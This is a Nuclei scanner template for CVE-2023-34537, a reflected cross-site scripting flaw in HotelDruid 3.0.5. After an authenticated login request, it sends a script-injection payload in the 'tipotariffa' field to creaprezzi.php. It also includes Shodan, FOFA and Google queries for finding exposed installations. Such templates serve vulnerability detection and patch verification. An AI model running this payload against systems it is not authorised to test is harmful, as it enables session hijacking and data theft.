CVE-2023-34537: Hoteldruid 3.0.5 - Cross-Site Scripting

id: CVE-2023-34537

info:
  name: Hoteldruid 3.0.5 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A Reflected XSS was discovered in HotelDruid version 3.0.5, an attacker can issue malicious code/command on affected webpage's parameter to trick user on browser and/or exfiltrate data.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/leekenghwa/CVE-2023-34537---XSS-reflected--found-in-HotelDruid-3.0.5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34537
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-34537
    cwe-id: CWE-79
    epss-score: 0.12787
    epss-percentile: 0.93777
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: digitaldruid
    product: hoteldruid
    shodan-query:
      - http.title:"hoteldruid"
      - http.favicon.hash:-1521640213
    fofa-query:
      - title="hoteldruid"
      - icon_hash=-1521640213
    google-query: intitle:"hoteldruid"
  tags: cve2023,cve,hoteldrui,xss,authenticated,digitaldruid

http:
  - raw:
      - |
        POST /inizio.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        vers_hinc=1&nome_utente_phpr={{username}}&password_phpr={{password}}
      - |
        POST /creaprezzi.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        anno=2023&id_sessione=&tipotariffa=a19yc%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3emjf9oc2183m&inizioperiodosett1=2023-12-24&fineperiodosett1=2023-12-31&tipo_prezzo=sett&prezzosett=&prezzosettp=&prezzoperiodo1=&prezzoperiodo1p=&prezzoperiodo2=&prezzoperiodo2p=&prezzoperiodo3=&prezzoperiodo3p=&prezzoperiodo4=&prezzoperiodo4p=&prezzoperiodo5=&prezzoperiodo5p=&prezzoperiodo6=&prezzoperiodo6p=&prezzoperiodo7=&prezzoperiodo7p=&inserisci_settimanalmente=1

    skip-variables-check: true
    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>")'
          - 'contains(body_2, "HotelDruid")'
        condition: and
# digest: 4b0a00483046022100fb9cbaa1a8803ecc8de847a63ba3a071d5e25e8988a1ab9baee0f20eb5b92f45022100bf450322f97866d07899e7403d449768897ac9a31c030f6e25994331631ec50b:922c64590222798bb761d5b6d8e72950